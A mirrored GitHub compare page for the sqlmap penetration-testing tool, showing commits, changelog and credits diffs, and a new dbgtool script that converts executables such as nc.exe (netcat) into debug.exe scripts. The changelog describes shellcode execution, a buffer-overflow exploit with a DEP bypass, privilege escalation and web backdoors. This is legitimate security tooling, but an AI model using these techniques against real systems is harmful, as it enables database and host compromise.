mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
176 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f316e722c1 | ||
|
|
6a62a78b0a | ||
|
|
067cc07fb9 | ||
|
|
5c20462155 | ||
|
|
82222fcd3a | ||
|
|
d07f60578c | ||
|
|
80df1fdcf9 | ||
|
|
954a927cee | ||
|
|
71547a3496 | ||
|
|
bb61010a45 | ||
|
|
473024bd6e | ||
|
|
6319eb6e5c | ||
|
|
232f927dd0 | ||
|
|
d71e47ce56 | ||
|
|
2eb24c6368 | ||
|
|
236ca9b952 | ||
|
|
96a033b51d | ||
|
|
d5b1863dec | ||
|
|
ce022a3b6e | ||
|
|
d55175a340 | ||
|
|
9c620da0a5 | ||
|
|
c1c14dabd9 | ||
|
|
e6c4154cac | ||
|
|
e4e081cdc6 | ||
|
|
a605980d66 | ||
|
|
b363f1c5ab | ||
|
|
e28b98a366 | ||
|
|
c332c72808 | ||
|
|
6e36a6f8ed | ||
|
|
4779a5fe0f | ||
|
|
1bf6a7cadc | ||
|
|
aa14bea051 | ||
|
|
e518ae82e4 | ||
|
|
bfd8128693 | ||
|
|
de68a499f5 | ||
|
|
bb123b2769 | ||
|
|
f1a7d095aa | ||
|
|
89c43893d4 | ||
|
|
458d59416c | ||
|
|
14578a7a4d | ||
|
|
17289c5ff2 | ||
|
|
e608a5ca55 | ||
|
|
19c6804ded | ||
|
|
2c98c11e80 | ||
|
|
45e3ce798f | ||
|
|
d905e5ef9f | ||
|
|
576cc97742 | ||
|
|
b2b2ec8a26 | ||
|
|
3d4bfb3263 | ||
|
|
b4fd71e8b9 | ||
|
|
8096a37940 | ||
|
|
cb3d2bac16 | ||
|
|
516fdb9356 | ||
|
|
24a3a23159 | ||
|
|
4b622ed860 | ||
|
|
0fc4587f02 | ||
|
|
ba2e009fd9 | ||
|
|
bc31bd1dd9 | ||
|
|
fd7de4bbb8 | ||
|
|
3b9303186e | ||
|
|
e5a01d500e | ||
|
|
32067cb676 | ||
|
|
03a6739fbf | ||
|
|
150abc0f1e | ||
|
|
3bca0d4b28 | ||
|
|
5ac2b0658c | ||
|
|
cfd8a83655 | ||
|
|
966f34f381 | ||
|
|
c7b72abc0e | ||
|
|
02f6425db8 | ||
|
|
93ee4a01e5 | ||
|
|
81d1a767ac | ||
|
|
8e7282f7c7 | ||
|
|
440a52b84d | ||
|
|
37d3b3adda | ||
|
|
13de8366d0 | ||
|
|
f7ee4d578e | ||
|
|
ef3846e0de | ||
|
|
45dff4a00a | ||
|
|
b463205544 | ||
|
|
06cc2a6d70 | ||
|
|
a727427299 | ||
|
|
c5d20b8a86 | ||
|
|
f3e8d6db70 | ||
|
|
ccedadd780 | ||
|
|
e8c115500d | ||
|
|
722ca8bf2f | ||
|
|
57b8bb4c8e | ||
|
|
58f3eee390 | ||
|
|
1d7de719b9 | ||
|
|
16b4530bbe | ||
|
|
5121a4dcba | ||
|
|
406d5df195 | ||
|
|
546a6c32e3 | ||
|
|
6f4035938b | ||
|
|
06e8546177 | ||
|
|
eeb34eb028 | ||
|
|
4ce74764b7 | ||
|
|
aec2419410 | ||
|
|
1af6898618 | ||
|
|
69259c5984 | ||
|
|
8e88b32274 | ||
|
|
aefa7ef988 | ||
|
|
8c0ac767f4 | ||
|
|
b997df740a | ||
|
|
0c1a6b3edf | ||
|
|
2efee058ea | ||
|
|
954417072b | ||
|
|
ba00a17205 | ||
|
|
2355885712 | ||
|
|
207e96e2b2 | ||
|
|
c405fb51ab | ||
|
|
b12d955274 | ||
|
|
770e000cb4 | ||
|
|
9ab174a444 | ||
|
|
77d9d22ceb | ||
|
|
dded57f1cd | ||
|
|
ad03684788 | ||
|
|
6054090191 | ||
|
|
a8d57bb031 | ||
|
|
193482a62b | ||
|
|
981c7a4428 | ||
|
|
793c323b2a | ||
|
|
d54a51a328 | ||
|
|
69204afe1f | ||
|
|
9631dc115e | ||
|
|
ae0f1985f3 | ||
|
|
deeccf9b5e | ||
|
|
1c5925ea2b | ||
|
|
7adbf5892d | ||
|
|
c25b49e80e | ||
|
|
96db179ffe | ||
|
|
f91843540f | ||
|
|
8f973ce574 | ||
|
|
161590e121 | ||
|
|
6690b4c00a | ||
|
|
bc3b4c6936 | ||
|
|
fd7cb9101c | ||
|
|
bc448211c5 | ||
|
|
73e713c5ba | ||
|
|
26cb082fc3 | ||
|
|
de393628d0 | ||
|
|
5560f0b68a | ||
|
|
92645dd264 | ||
|
|
9b0f11f879 | ||
|
|
e10ab5aa0e | ||
|
|
9c125a2b57 | ||
|
|
6ff8feb5cf | ||
|
|
d0604ef513 | ||
|
|
2d87a3349f | ||
|
|
9c42a883be | ||
|
|
2cc3bb2f6a | ||
|
|
9e0d890171 | ||
|
|
c1010c20d8 | ||
|
|
a4d62af2ea | ||
|
|
9340bf59fb | ||
|
|
0e9873fd4f | ||
|
|
c83593c044 | ||
|
|
24ddbdc89d | ||
|
|
b0ad102efb | ||
|
|
79c8d63b88 | ||
|
|
64bb57d786 | ||
|
|
1f7810e46a | ||
|
|
064029cb2d | ||
|
|
04c187c66a | ||
|
|
2f406b3e56 | ||
|
|
c05f600e90 | ||
|
|
4ae464c80d | ||
|
|
f92b76a8b0 | ||
|
|
374b9ba878 | ||
|
|
35708a0b97 | ||
|
|
996a872e51 | ||
|
|
c18efe5084 | ||
|
|
8d06975142 | ||
|
|
7e8ac16245 | ||
|
|
ad228e6947 |
10
doc/AUTHORS
10
doc/AUTHORS
@@ -1,7 +1,7 @@
|
|||||||
Bernardo Damele A. G. (inquis) - project leader, core developer
|
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||||
<bernardo.damele@gmail.com>
|
<bernardo.damele@gmail.com>
|
||||||
PGP Key ID: 0x05F5A30F
|
PGP Key ID: 0x05F5A30F
|
||||||
|
|
||||||
Daniele Bellucci (belch) - project founder, initial developer
|
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
|
||||||
<daniele.bellucci@gmail.com>
|
<miroslav.stampar@gmail.com>
|
||||||
PGP Key ID: 0x9A0E8190
|
PGP Key ID: 0xB5397B1B
|
||||||
|
|||||||
101
doc/ChangeLog
101
doc/ChangeLog
@@ -1,13 +1,112 @@
|
|||||||
|
sqlmap (0.8rc1-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Major enhancement to the Microsoft SQL Server stored procedure
|
||||||
|
heap-based buffer overflow exploit (--os-bof) to automatically bypass
|
||||||
|
DEP memory protection.
|
||||||
|
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
|
||||||
|
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
|
||||||
|
option instead of uploading the standalone payload stager executable.
|
||||||
|
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
|
||||||
|
read/add/delete Windows registry keys.
|
||||||
|
* Added options for MySQL and PostgreSQL to inject custom user-defined
|
||||||
|
functions.
|
||||||
|
* Added support for --first and --last so the user now has even more
|
||||||
|
granularity in what to enumerate in the query output.
|
||||||
|
* Minor enhancement to save the session by default in
|
||||||
|
'output/hostname/session' file if -s option is not specified.
|
||||||
|
* Minor improvement to automatically remove sqlmap created temporary
|
||||||
|
files from the DBMS underlying file system.
|
||||||
|
* Minor bugs fixed.
|
||||||
|
* Major code refactoring.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
|
||||||
|
|
||||||
|
sqlmap (0.7-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||||
|
development version too.
|
||||||
|
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
|
||||||
|
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
|
||||||
|
--os-bof is selected) when running under Windows because msfconsole
|
||||||
|
and msfcli are not supported on the native Windows Ruby interpreter.
|
||||||
|
This make sqlmap 0.7 to work again on Windows too.
|
||||||
|
* Minor improvement so that sqlmap tests also all parameters with no
|
||||||
|
value (eg. par=).
|
||||||
|
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
|
||||||
|
2.6+.
|
||||||
|
* Major bug fix to sql-query/sql-shell features.
|
||||||
|
* Major bug fix in --read-file option.
|
||||||
|
* Major silent bug fix to multi-threading functionality.
|
||||||
|
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
|
||||||
|
queries are not supported and --os-shell is provided.
|
||||||
|
* Fixed MySQL 'comment injection' version fingerprint.
|
||||||
|
* Fixed basic Microsoft SQL Server 2000 fingerprint.
|
||||||
|
* Many minor bug fixes and code refactoring.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
|
||||||
|
|
||||||
|
sqlmap (0.7rc1-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Added support to execute arbitrary commands on the database server
|
||||||
|
underlying operating system either returning the standard output or not
|
||||||
|
via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
|
||||||
|
procedure on Microsoft SQL Server;
|
||||||
|
* Added support for out-of-band connection between the attacker box and
|
||||||
|
the database server underlying operating system via stand-alone payload
|
||||||
|
stager created by Metasploit and supporting Meterpreter, shell and VNC
|
||||||
|
payloads for both Windows and Linux;
|
||||||
|
* Added support for out-of-band connection via Microsoft SQL Server 2000
|
||||||
|
and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
|
||||||
|
overflow (MS09-004) exploitation with multi-stage Metasploit payload
|
||||||
|
support;
|
||||||
|
* Added support for out-of-band connection via SMB reflection attack with
|
||||||
|
UNC path request from the database server to the attacker box by using
|
||||||
|
the Metasploit smb_relay exploit;
|
||||||
|
* Added support to read and write (upload) both text and binary files on
|
||||||
|
the database server underlying file system for MySQL, PostgreSQL and
|
||||||
|
Microsoft SQL Server;
|
||||||
|
* Added database process' user privilege escalation via Windows Access
|
||||||
|
Tokens kidnapping on MySQL and Microsoft SQL Server via either
|
||||||
|
Meterpreter's incognito extension or Churrasco stand-alone executable;
|
||||||
|
* Speed up the inference algorithm by providing the minimum required
|
||||||
|
charset for the query output;
|
||||||
|
* Major bug fix in the comparison algorithm to correctly handle also the
|
||||||
|
case that the url is stable and the False response changes the page
|
||||||
|
content very little;
|
||||||
|
* Many minor bug fixes, minor enhancements and layout adjustments.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Wed, 22 Apr 2009 10:30:00 +0000
|
||||||
|
|
||||||
sqlmap (0.6.4-1) stable; urgency=low
|
sqlmap (0.6.4-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Major enhancement to make the comparison algorithm work properly also
|
||||||
|
on url not stables automatically by using the difflib Sequence Matcher
|
||||||
|
object;
|
||||||
|
* Major enhancement to support SQL data definition statements, SQL data
|
||||||
|
manipulation statements, etc from user in SQL query and SQL shell if
|
||||||
|
stacked queries are supported by the web application technology;
|
||||||
|
* Major speed increase in DBMS basic fingerprint;
|
||||||
* Minor enhancement to support an option (--is-dba) to show if the
|
* Minor enhancement to support an option (--is-dba) to show if the
|
||||||
current user is a database management system administrator;
|
current user is a database management system administrator;
|
||||||
|
* Minor enhancement to support an option (--union-tech) to specify the
|
||||||
|
technique to use to detect the number of columns used in the web
|
||||||
|
application SELECT statement: NULL bruteforcing (default) or ORDER BY
|
||||||
|
clause bruteforcing;
|
||||||
|
* Added internal support to forge CASE statements, used only by --is-dba
|
||||||
|
query at the moment;
|
||||||
|
* Minor layout adjustment to the --update output;
|
||||||
|
* Increased default timeout to 30 seconds;
|
||||||
|
* Major bug fix to correctly handle custom SQL "limited" queries on
|
||||||
|
Microsoft SQL Server and Oracle;
|
||||||
* Major bug fix to avoid tracebacks when multiple targets are specified
|
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||||
and one of them is not reachable;
|
and one of them is not reachable;
|
||||||
|
* Minor bug fix to make the Partial UNION query SQL injection technique
|
||||||
|
work properly also on Oracle and Microsoft SQL Server;
|
||||||
* Minor bug fix to make the --postfix work even if --prefix is not
|
* Minor bug fix to make the --postfix work even if --prefix is not
|
||||||
provided;
|
provided;
|
||||||
|
* Updated documentation.
|
||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
|
||||||
|
|
||||||
sqlmap (0.6.3-1) stable; urgency=low
|
sqlmap (0.6.3-1) stable; urgency=low
|
||||||
|
|
||||||
|
|||||||
2124
doc/README.html
2124
doc/README.html
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
2117
doc/README.sgml
2117
doc/README.sgml
File diff suppressed because it is too large
Load Diff
146
doc/THANKS
146
doc/THANKS
@@ -5,23 +5,59 @@ Chip Andrews <chip@sqlsecurity.com>
|
|||||||
at SQLSecurity.com and permission to implement the update feature
|
at SQLSecurity.com and permission to implement the update feature
|
||||||
taking data from his site
|
taking data from his site
|
||||||
|
|
||||||
|
Simon Baker <simonb@sec-1.com>
|
||||||
|
for reporting some bugs
|
||||||
|
|
||||||
|
Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
for starting sqlmap project and developing it between July and August
|
||||||
|
2006
|
||||||
|
|
||||||
Jack Butler <fattredd@hotmail.com>
|
Jack Butler <fattredd@hotmail.com>
|
||||||
for providing me with the sqlmap site favicon
|
for providing me with the sqlmap site favicon
|
||||||
|
|
||||||
|
Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
|
Cesar Cerrudo <cesar@argeniss.com>
|
||||||
|
for his Windows access token kidnapping tool Churrasco included in
|
||||||
|
sqlmap tree as a contrib library and used to run the stand-alone
|
||||||
|
payload stager on the target Windows machine as SYSTEM user if the
|
||||||
|
user wants to perform a privilege escalation attack,
|
||||||
|
http://www.argeniss.com/research/TokenKidnapping.pdf
|
||||||
|
|
||||||
Karl Chen <quarl@cs.berkeley.edu>
|
Karl Chen <quarl@cs.berkeley.edu>
|
||||||
for providing with the multithreading patch for the inference
|
for providing with the multithreading patch for the inference
|
||||||
algorithm
|
algorithm
|
||||||
|
|
||||||
Pierre Chifflier <pollux@debian.org>
|
Y P Chien <ypchien@cox.net>
|
||||||
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
for reporting a minor bug
|
||||||
project repository
|
|
||||||
|
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
|
||||||
|
for uploading and accepting the sqlmap Debian package to the official
|
||||||
|
Debian project repository
|
||||||
|
|
||||||
|
Ulises U. Cune <ulises2k@gmail.com>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
|
Alessandro Curio <alessandro.curio@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||||
for suggesting good features
|
for suggesting good features
|
||||||
|
|
||||||
|
Dan Guido <dguido@gmail.com>
|
||||||
|
for promoting sqlmap in the context of the Penetration Testing and
|
||||||
|
Vulnerability Analysis class at the Polytechnic University of New York,
|
||||||
|
http://isisblogs.poly.edu/courses/pentest/
|
||||||
|
|
||||||
Adam Faheem <faheem.adam@is.co.za>
|
Adam Faheem <faheem.adam@is.co.za>
|
||||||
for reporting a few bugs
|
for reporting a few bugs
|
||||||
|
|
||||||
|
James Fisher <www@sittinglittleduck.com>
|
||||||
|
for providing me with two very good feature requests
|
||||||
|
for his great tool too brute force directories and files names on
|
||||||
|
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
|
||||||
|
|
||||||
Jim Forster <jimforster@goldenwest.com>
|
Jim Forster <jimforster@goldenwest.com>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
|
|
||||||
@@ -33,11 +69,18 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
|
|||||||
for suggesting a speed improvement for bisection algorithm
|
for suggesting a speed improvement for bisection algorithm
|
||||||
for reporting a bug when running against Microsoft SQL Server 2005
|
for reporting a bug when running against Microsoft SQL Server 2005
|
||||||
|
|
||||||
|
Alan Franzoni <alan.franzoni@gmail.com>
|
||||||
|
for helping me out with Python subprocess library
|
||||||
|
|
||||||
Ivan Giacomelli <truemilk@insiberia.net>
|
Ivan Giacomelli <truemilk@insiberia.net>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
for suggesting a minor enhancement
|
for suggesting a minor enhancement
|
||||||
for reviewing the documentation
|
for reviewing the documentation
|
||||||
|
|
||||||
|
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||||
|
for reporting a bug
|
||||||
|
for providing me with a minor patch
|
||||||
|
|
||||||
Davide Guerri <d.guerri@caspur.it>
|
Davide Guerri <d.guerri@caspur.it>
|
||||||
for suggesting an enhancement
|
for suggesting an enhancement
|
||||||
|
|
||||||
@@ -52,14 +95,51 @@ Will Holcomb <wholcomb@gmail.com>
|
|||||||
for his MultipartPostHandler class to handle multipart POST forms and
|
for his MultipartPostHandler class to handle multipart POST forms and
|
||||||
permission to include it within sqlmap source code
|
permission to include it within sqlmap source code
|
||||||
|
|
||||||
|
Daniel Hückmann <sanitybit@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
|
Mounir Idrassi <mounir.idrassi@idrix.net>
|
||||||
|
for his compiled version of UPX for Mac OS X
|
||||||
|
|
||||||
|
Dirk Jagdmann <doj@cubic.org>
|
||||||
|
for reporting a typo in the documentation
|
||||||
|
|
||||||
Luke Jahnke <luke.jahnke@gmail.com>
|
Luke Jahnke <luke.jahnke@gmail.com>
|
||||||
for reporting a bug when running against MySQL < 5.0
|
for reporting a bug when running against MySQL < 5.0
|
||||||
|
|
||||||
|
Sven Klemm <sven@c3d2.de>
|
||||||
|
for reporting two minor bugs with PostgreSQL
|
||||||
|
|
||||||
Anant Kochhar <anant.kochhar@secureyes.net>
|
Anant Kochhar <anant.kochhar@secureyes.net>
|
||||||
for providing me with feedback on the user's manual
|
for providing me with feedback on the user's manual
|
||||||
|
|
||||||
|
Alexander Kornbrust <ak@red-database-security.com>
|
||||||
|
for reporting a couple of bugs
|
||||||
|
|
||||||
|
Krzysztof Kotowicz <kkotowicz@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
|
Nicolas Krassas <krasn@ans.gr>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
|
Guido Landi <lists@keamera.org>
|
||||||
|
for reporting a couple of bugs
|
||||||
|
for the great technical discussions
|
||||||
|
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||||
|
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
||||||
|
(MS09-004) exploit development
|
||||||
|
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
|
||||||
|
on September 21, 2009
|
||||||
|
|
||||||
|
Lee Lawson <Lee.Lawson@dns.co.uk>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Nico Leidecker <nico@leidecker.info>
|
Nico Leidecker <nico@leidecker.info>
|
||||||
for providing me with feedback on a few features
|
for providing me with feedback on a few features
|
||||||
|
for reporting a couple of bugs
|
||||||
|
|
||||||
|
Gabriel Lima <pato@bugnet.com.br>
|
||||||
|
for reporting a couple of bugs
|
||||||
|
|
||||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||||
for reporting a bug when injecting on a POST data parameter
|
for reporting a bug when injecting on a POST data parameter
|
||||||
@@ -70,7 +150,7 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
|
|||||||
for suggesting a lot of ideas and features
|
for suggesting a lot of ideas and features
|
||||||
|
|
||||||
Ferruh Mavituna <ferruh@mavituna.com>
|
Ferruh Mavituna <ferruh@mavituna.com>
|
||||||
for providing me with ideas on the implementation on a couple of
|
for providing me with ideas on the implementation of a couple of
|
||||||
new features
|
new features
|
||||||
|
|
||||||
Enrico Milanese <enricomilanese@gmail.com>
|
Enrico Milanese <enricomilanese@gmail.com>
|
||||||
@@ -80,9 +160,24 @@ Enrico Milanese <enricomilanese@gmail.com>
|
|||||||
Roberto Nemirovsky <roberto.paes@gmail.com>
|
Roberto Nemirovsky <roberto.paes@gmail.com>
|
||||||
for pointing me out some enhancements
|
for pointing me out some enhancements
|
||||||
|
|
||||||
|
Markus Oberhumer <markus.oberhumer@jk.uni-linz.ac.at>
|
||||||
|
Laszlo Molnar <ml1050@cdata.tvnet.hu>
|
||||||
|
John F. Reiser <sales@bitwagon.com>
|
||||||
|
for their great tool UPX (Ultimate Packer for eXecutables) included
|
||||||
|
in sqlmap tree as a contrib library and used mainly to pack the
|
||||||
|
Metasploit Framework 3 payload stager portable executable,
|
||||||
|
http://upx.sourceforge.net
|
||||||
|
|
||||||
|
Simone Onofri <simone.onofri@gmail.com>
|
||||||
|
for patching the PHP web backdoor to make it work properly also on
|
||||||
|
Windows
|
||||||
|
|
||||||
Antonio Parata <s4tan@ictsc.it>
|
Antonio Parata <s4tan@ictsc.it>
|
||||||
for providing me with some ideas for the PHP backdoor
|
for providing me with some ideas for the PHP backdoor
|
||||||
|
|
||||||
|
Adrian Pastor <ap@gnucitizen.org>
|
||||||
|
for donating to sqlmap development
|
||||||
|
|
||||||
Chris Patten <cpatten@sunera.com>
|
Chris Patten <cpatten@sunera.com>
|
||||||
for reporting a bug in the blind SQL injection bisection algorithm
|
for reporting a bug in the blind SQL injection bisection algorithm
|
||||||
|
|
||||||
@@ -116,9 +211,23 @@ Sven Schluter <sschlueter@netzwerk.cc>
|
|||||||
for providing with a patch for waiting a number of seconds between
|
for providing with a patch for waiting a number of seconds between
|
||||||
each HTTP request
|
each HTTP request
|
||||||
|
|
||||||
|
Uemit Seren <uemit.seren@gmail.com>
|
||||||
|
for reporting a minor adjustment when running with python 2.6
|
||||||
|
|
||||||
|
Sumit Siddharth <sid@notsosecure.com>
|
||||||
|
for providing me with ideas on the implementation of a couple of
|
||||||
|
features
|
||||||
|
|
||||||
M Simkin <mlsimkin@cox.net>
|
M Simkin <mlsimkin@cox.net>
|
||||||
for suggesting a feature
|
for suggesting a feature
|
||||||
|
|
||||||
|
Konrads Smelkovs <konrads@smelkovs.com>
|
||||||
|
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
|
||||||
|
SQL Server
|
||||||
|
|
||||||
|
Marek Stiefenhofer <m.stiefenhofer@r-tec.net>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
Jason Swan <jasoneswan@gmail.com>
|
Jason Swan <jasoneswan@gmail.com>
|
||||||
for reporting a bug when enumerating columns on Microsoft SQL Server
|
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||||
for suggesting a couple of improvements
|
for suggesting a couple of improvements
|
||||||
@@ -128,10 +237,13 @@ Alessandro Tanasi <alessandro@tanasi.it>
|
|||||||
for suggesting many features and reporting some bugs
|
for suggesting many features and reporting some bugs
|
||||||
for reviewing the documentation
|
for reviewing the documentation
|
||||||
|
|
||||||
|
Andres Tarasco <atarasco@gmail.com>
|
||||||
|
for providing me with good feedback
|
||||||
|
|
||||||
Efrain Torres <et@metasploit.com>
|
Efrain Torres <et@metasploit.com>
|
||||||
for helping me out to improve the Metasploit Framework 3 sqlmap
|
for helping me out to improve the Metasploit Framework 3 sqlmap
|
||||||
auxiliary module and for commiting it on the Metasploit official
|
auxiliary module and for commiting it on the Metasploit official
|
||||||
Subversion repository
|
subversion repository
|
||||||
for his great Metasploit WMAP Framework
|
for his great Metasploit WMAP Framework
|
||||||
|
|
||||||
Sandro Tosi <matrixhasu@gmail.com>
|
Sandro Tosi <matrixhasu@gmail.com>
|
||||||
@@ -146,18 +258,42 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
|
|||||||
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
|
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
|
||||||
for reporting an unhandled connection exception
|
for reporting an unhandled connection exception
|
||||||
|
|
||||||
|
Anthony Zboralski <anthony.zboralski@bellua.com>
|
||||||
|
for providing me with detailed feedback
|
||||||
|
for reporting a few minor bugs
|
||||||
|
for donating to sqlmap development
|
||||||
|
|
||||||
fufuh <fufuh@users.sourceforge.net>
|
fufuh <fufuh@users.sourceforge.net>
|
||||||
for reporting a bug when running on Windows
|
for reporting a bug when running on Windows
|
||||||
|
|
||||||
mariano <marianoso@gmail.com>
|
mariano <marianoso@gmail.com>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
|
|
||||||
|
pacman730 <pacman730@users.sourceforge.net>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
|
Stuffe <stuffe.dk@gmail.com>
|
||||||
|
for reporting a minor bug and a feature request
|
||||||
|
|
||||||
Sylphid <sylphid.su@sti.com.tw>
|
Sylphid <sylphid.su@sti.com.tw>
|
||||||
for suggesting some features
|
for suggesting some features
|
||||||
|
|
||||||
|
|
||||||
== Organizations ==
|
== Organizations ==
|
||||||
|
|
||||||
|
Black Hat team <info@blackhat.com>
|
||||||
|
for the opportunity to present my research on 'Advanced SQL injection
|
||||||
|
to operating system full control' at Black Hat Europe 2009 Briefings on
|
||||||
|
April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
|
||||||
|
the sqlmap 0.7 release candidate version new features during my
|
||||||
|
presentation
|
||||||
|
|
||||||
|
Metasploit LLC <msfdev@metasploit.com>
|
||||||
|
for their powerful tool Metasploit Framework 3, used by sqlmap, among
|
||||||
|
others things, to create the payload stager and establish an
|
||||||
|
out-of-band connection between sqlmap and the database server,
|
||||||
|
http://www.metasploit.com/framework
|
||||||
|
|
||||||
OWASP Board <http://www.owasp.org>
|
OWASP Board <http://www.owasp.org>
|
||||||
for sponsoring part of the sqlmap development in the context of OWASP
|
for sponsoring part of the sqlmap development in the context of OWASP
|
||||||
Spring of Code 2007
|
Spring of Code 2007
|
||||||
|
|||||||
24
extra/dbgtool/README.txt
Normal file
24
extra/dbgtool/README.txt
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
|
||||||
|
and optionally the output debug.exe script file name.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
|
||||||
|
|
||||||
|
This will create a ASCII text file with CRLF line terminators called
|
||||||
|
nc.scr.
|
||||||
|
|
||||||
|
Such file can then be converted to its original portable executable with
|
||||||
|
the Windows native debug.exe, that is installed by default in all Windows
|
||||||
|
systems:
|
||||||
|
|
||||||
|
> debug.exe < nc.scr
|
||||||
|
|
||||||
|
To be able to execute it on Windows you have to rename it to end with
|
||||||
|
'.com' or '.exe':
|
||||||
|
|
||||||
|
> ren nc_exe nc.exe
|
||||||
|
|
||||||
|
|
||||||
|
Happy hacking!
|
||||||
|
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
109
extra/dbgtool/dbgtool.py
Executable file
109
extra/dbgtool/dbgtool.py
Executable file
@@ -0,0 +1,109 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import struct
|
||||||
|
|
||||||
|
from optparse import OptionError
|
||||||
|
from optparse import OptionParser
|
||||||
|
|
||||||
|
def convert(inputFile):
|
||||||
|
fileStat = os.stat(inputFile)
|
||||||
|
fileSize = fileStat.st_size
|
||||||
|
|
||||||
|
if fileSize > 65280:
|
||||||
|
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
|
||||||
|
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
|
||||||
|
scrString = ""
|
||||||
|
counter = 256
|
||||||
|
counter2 = 0
|
||||||
|
|
||||||
|
fp = open(inputFile, 'rb')
|
||||||
|
fileContent = fp.read()
|
||||||
|
|
||||||
|
for fileChar in fileContent:
|
||||||
|
unsignedFileChar = struct.unpack('B', fileChar)[0]
|
||||||
|
|
||||||
|
if unsignedFileChar != 0:
|
||||||
|
counter2 += 1
|
||||||
|
|
||||||
|
if not scrString:
|
||||||
|
scrString = "e %0x %02x" % (counter, unsignedFileChar)
|
||||||
|
else:
|
||||||
|
scrString += " %02x" % unsignedFileChar
|
||||||
|
elif scrString:
|
||||||
|
script += "%s\r\n" % scrString
|
||||||
|
scrString = ""
|
||||||
|
counter2 = 0
|
||||||
|
|
